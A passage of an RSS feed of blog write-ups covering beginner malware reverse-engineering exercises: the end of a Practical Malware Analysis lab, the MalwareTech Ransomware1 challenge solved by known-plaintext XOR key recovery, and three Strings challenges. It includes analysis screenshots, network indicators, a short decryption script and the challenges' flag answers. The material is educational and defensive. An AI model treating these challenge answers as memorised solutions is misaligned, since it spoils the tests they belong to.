/></figure><p>Using FakeNet, we also see a request to <a href="http://www.practicalmalwareanalysis.com/">www.practicalmalwareanalysis.com</a> over port HTTP with header GET /cc.htm, using the User-Agent found on strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*z8vFAd5H17eksCtKZ8T1HQ.png" /></figure><p><em>Questions</em></p><p><em>1. What is the difference between the calls made from the main method in Labs 6–3 and 6–4?</em></p><p>Looking at the main function, we can immediately see that lab 6–4 calls sub_4012B5 which is the printf function whereas lab 6–3 calls sub_401271.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*0lzSB-7-Ggi8URJR5hSVPQ.png" /></figure><p>Looking at the Parsing commands and comparing this to Lab 6–3, we can see that a for loop is being performed in Lab 6–4. The var_C is looking for a for loop code construct. If it is greater than or equal to 0x5A0 (1440), the loop will end. Otherwise, loc_401281 will execute. The process repeats for 1440 minutes, which is 24 hours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*0mKQl6I4y-qc8K2Lrvlx9g.png" /></figure><p>We can also see differences in the sub process performing the HTTP request and reading of the file — sub_401040.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*9GENiMNX5dMndTJSicm92w.png" /></figure><p>Here we can see that arg_0 is a new global variable compared with Lab 6–3. Arg_0 is pushed on the stack along with a string “Internet Explorer 7.5/pma%d” and a destination. We also see that sub_4012E6 is called which creates the string and stores it in the destination buffer, szAgent. This is then passed onto InternetOpenA. This means each time the function is called, the User-Agent will change.</p><p><em>2. What new code construct has been added to main?</em></p><p>As seen above, this is the for loop.</p><p><em>3. What is the difference between this lab’s parse HTML function and those of the previous labs?</em></p><p>The function sub_401040 takes the parameter and calls sub_4012E6 with ‘Internet Explorer 7.50/pma%d’, where ‘d’ is number of minutes running.</p><p><em>4. How long will this program run? (Assume that it is connected to the Internet.)</em></p><p>1440 minutes (24 hours).</p><p><em>5. Are there any new network-based indicators for this malware?</em></p><ul><li>Internet Explorer 7.50/pma%d — New User-Agent</li></ul><p><em>6. What is the purpose of this malware?</em></p><p>The program checks for an internet connection. If there’s a connection present, the program will use the User-Agent (which is unique each time) to attempt to download a web page which monitors the number of minutes the program has run. This is otherwise similar to Lab 6–3, except the program will run for 24 hours before terminating.</p><p>And that wraps this up. As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d02de4a890d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MalwareTech Malware Reversing Challenges — Ransomware]]></title>
            <link>https://ellisstannard.medium.com/malwaretech-malware-reversing-challenges-ransomware-367caf0fc5de?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/367caf0fc5de</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Sat, 28 Nov 2020 20:06:16 GMT</pubDate>
            <atom:updated>2020-11-30T09:31:14.191Z</atom:updated>
            <content:encoded><![CDATA[<h3>MalwareTech Malware Reversing Challenges — Ransomware</h3><p><strong>Here we are with another of the malware reverse engineering challenges from </strong><a href="https://www.malwaretech.com/"><strong>MalwareTech</strong></a><strong> — this time Ransomware.</strong></p><p>These are static analysis challenges and therefore require a disassembler and <strong>not</strong> a debugger or dumper. Presumably most people reading this will be using the article as guidance. As such please follow standard practice and use an airgapped virtual machine, and do not run the ransomware file unless you <em>WannaCry.</em></p><p>Apologies, couldn’t help myself, anyway let’s begin.</p><p>You can find the MalwareTech challenges <a href="https://www.malwaretech.com/beginner-malware-reversing-challenges">here</a>. This time round, we’ll use IDA Pro.</p><p><strong>Ranomsomware1:</strong></p><p><strong>The administrator for FlagCorp was using an outdated Windows 7 system and got infected with some ransomware. We believe this variant was most likely written by a scriptkiddie due to the fact it was so badly designed it encrypted itself. One of our malware analysts was able to recover the encryption function from memory but doesn’t know much about cryptography. Can you find a way to decrypt flag.txt?</strong></p><p>If we start by having a look at the files provided in the challenge, we can find a folder called ‘EncryptedFiles’.</p><p>One of the files within here is a text file with the following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*EJOwirUNGCgHIEZLOg6QMQ.png" /></figure><p>Could’ve at least tidied up their spelling… anyway. We have the flag.txt_encrypted file and need to decrypt this using the ransomware.exe_ file. Opening up the ransomware.exe_ file in IDA PRO, and looking at the sub_401000 function, we can see it has two parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*k0ZvFQfthHWQ7d2JjoPXpw.png" /></figure><p>lpFileName is associated with the <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">CreateFileA function (fileapi.h)</a>. This creates or opens a file or I/O device. The most commonly used I/O devices are file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The funciton returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*MeK1eBsXfCA_L9lgRCkF2Q.png" /></figure><p>We can see the similarities with the subvalues here. The function opens an existing file. It then uses a second CreatFileA function, reading the opened file using the ReadFile function (see below), then WriteFile followed by the CloseHandle function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*NOBEWDsDIPVIQ1M2NiWHRw.png" /></figure><p>Somewhere in between opening the existing file and writing the new file is an encryption mechanism, which presumably is below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*4ASJ4ksFwOCC8O3K_Qr_rw.png" /></figure><p>The function loops over the bytes of the file and XOR’s the byte with a key. This is done in increments of 1 as you see the jmp opcode at the end of the function section above — file(i) = key(i) + 1. There is a parameter which adds the value in 20h to ecx which is then XOR’d. Therefore, the key is located at 20h</p><p>The information here doesn’t give a lot so let’s look at the encrypted pictures for hints. Interestingly the folder is Pictures then Sample Pictures:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*6vfs8tGBoJ3MdWhKbFEUEQ.png" /></figure><p>Do you know what’s interesting? These appear to be stock photos that come with devices by default. A little more digging and I found these sample photos are for Windows 7 OS.</p><p>If we download Jellyfish.jpeg from <a href="https://archive.org/">archive.org</a> and compare this with the encrypted version of that file we may be able to get more information on how to obtain the flag. Using Beyond Compare we can compare the two files to see any changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9kMofpqw7ylKLkTkNt1-A.png" /></figure><p>This shows that the executable opens the initial file and XOR’s it with the encrypted file. The result at 20h is the encryption key.</p><p><strong>Key:</strong> 6E DD 9B 0E 45 5D 5E 92 97 CC AB 77 80 B4 0E 54 3D F5 A7 79 AA 93 5B 83 A9 D3 8D 2D B8 0F 40 0F</p><p>Finding a sample script for something similar online, we can amend this script to work for our encrypted flag:</p><pre>jelly_unencrypted <strong>=</strong>  bytearray(open(&quot;Jellyfish.jpg&quot;, &quot;rb&quot;).read(0x20))</pre><pre>jelly_encrypted <strong>=</strong> bytearray(open(&quot;Jellyfish.jpg_encrypted&quot;, &quot;rb&quot;).read(0x20))<br><br>key <strong>=</strong> []<br><strong>for</strong> i <strong>in</strong> range(0x20):<br>    key.append(jelly_encrypted[i] <strong>^</strong> jelly_unencrypted[i])<br>    <br>file <strong>=</strong> open(&quot;flag.txt_encrypted&quot;, &quot;rb&quot;)<br>buffer <strong>=</strong> bytearray(file.read())<br><br>flag <strong>=</strong> &quot;&quot;<br><strong>for</strong> i <strong>in</strong> range(len(buffer)):<br>    flag <strong>+=</strong> chr(buffer[i] <strong>^</strong> key[i <strong>%</strong> 0x20])<br>        <br><strong>print</strong>(flag)</pre><p>If we move all files into the Sample Pictures folder and run the script we get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*Z45HPHxckziwJcGPJQjeqw.png" /></figure><p><strong>Answer:</strong> FLAG{XOR-MAKES-KNOWN-PLAINTEXT-AND-FREQUENCY-ANALYSIS-EASY}</p><p>And that wraps up this challenge — as always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=367caf0fc5de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MalwareTech Malware Reversing Challenges — Strings]]></title>
            <link>https://ellisstannard.medium.com/malwaretech-malware-reversing-challenges-strings-7dc638e6ca9d?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dc638e6ca9d</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[wannacry]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Wed, 11 Nov 2020 18:20:39 GMT</pubDate>
            <atom:updated>2020-11-28T15:54:38.634Z</atom:updated>
            <content:encoded><![CDATA[<h3>MalwareTech Malware Reversing Challenges — Hide and Seek (Strings)</h3><p><strong>Hello folks, we’re here for some more CTF challenges — this time malware reverse engineering. </strong><a href="https://www.malwaretech.com/"><strong>MalwareTech</strong></a><strong> (aka Marcus Hutchins) is a computer researcher and malware analyst, if his alias hadn’t helped you guess, who is famous for stopping the infamous </strong><a href="https://www.kaspersky.co.uk/resource-center/threats/ransomware-wannacry"><strong>WannaCry ransomware</strong></a><strong>, which affected (and infected) over 200,000 devices, in over 150 countries, which included critical national infrastructure (CNI). It may surprise you but many organisations do not have any patch management in place and are still vulnerable to these obsolete cyber campaigns, even years on. If you’re interested in reading more about Marcus Hutchins, I highly recommend reading his </strong><a href="https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/"><strong>interview with Wired</strong></a><strong>.</strong></p><p>Let’s get stuck in, the challenges can be found <a href="https://www.malwaretech.com/beginner-malware-reversing-challenges">here</a>. They are all static malware analysis challenges and will therefore require a disassembler. I have chosen to use <a href="https://ghidra-sre.org/">Ghidra</a> as this is a relatively new tool (developed by the NSA), although <a href="https://www.hex-rays.com/products/ida/">IDA Pro</a> is an equally excellent disassembler.</p><p><strong>Strings 1:</strong></p><p><strong>strings1.exe contains an un-encrypted flag stored within the executable. When run, the program will output an MD5 hash of the flag but not the original. Can you extract the flag?</strong></p><p>Initially opening up Ghidra, we can make a search of all strings using the ‘Search For Strings’ function. From here we see there are multiple strings with ‘flag’ indicating this is a deadend:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CcyE42BKae-T7LPwsUENDQ.png" /></figure><p>Using Ghidra, we can see the binary show in the entry function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*GNwLbkAhtB-AhHRPaNEo9w.png" /></figure><p>We see a flag and if we double click on the EAX instruction line:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*bUfGsnjNtUllQz3hwzQBJQ.png" /></figure><p><strong>Answer:</strong> FLAG{CAN-I-MAKE-IT-ANYMORE-OBVIOUS}</p><p>Easy — moving on.</p><p><strong>Strings 2:</strong></p><p><strong>strings2.exe contains an un-encrypted flag stored within the executable. When run, the program will output an MD5 hash of the flag but not the original. Can you extract the flag?</strong></p><p>Opening up the strings 2 executable into Ghidra, we notice the function entry area shows a long string created within the stack. If this is converted from hex to characters, we get the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*ZyQvHnUtc-xQImdbjpzsXg.png" /></figure><p>The string combined gives us the flag.</p><p><strong>Answer:</strong> FLAG{STACK-STRINGS-ARE-BEST-STRINGS}</p><p><strong>Strings 3:</strong></p><p><strong>strings3.exe contains an un-encrypted flag stored within the executable. When run, the program will output an MD5 hash of the flag but not the original. Can you extract the flag?</strong></p><p>The final string challenge is slightly different. The function turns the flag into an MD5 hash.</p><p>Looking at the entry function again via a decomplication within Ghidra:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*kSPo1CpC-Kw8ur3gs-ibuQ.png" /></figure><p>The FindResource determines the location of the resource of a .rc file. Following on from this a string is then loaded with 0x110, which in decimal is 272. From this it is then hashed as seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*hc8evEEEPOuAzVMYJhQE1g.png" /></figure><p>The LoadStringA function loads a string resource from the executable file associated with a specified module, copying the string into a buffer and appends a terminating null character. We see that this is picked after several register instructions are carried out to give 0x110 in low-level language from the decompiler.</p><p>From this we know that the 272th string is in fact the flag from the rc file… if we look at the defined strings and go to string ID 272 we have a match:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*gexbktd3XMJqVxI58nBZNQ.png" /></figure><p><strong>Answer: </strong>FLAG{RESOURCES-ARE-POPULAR-FOR-MALWARE}</p><p>That completes the reverse engineering string challenges. As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dc638e6ca9d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>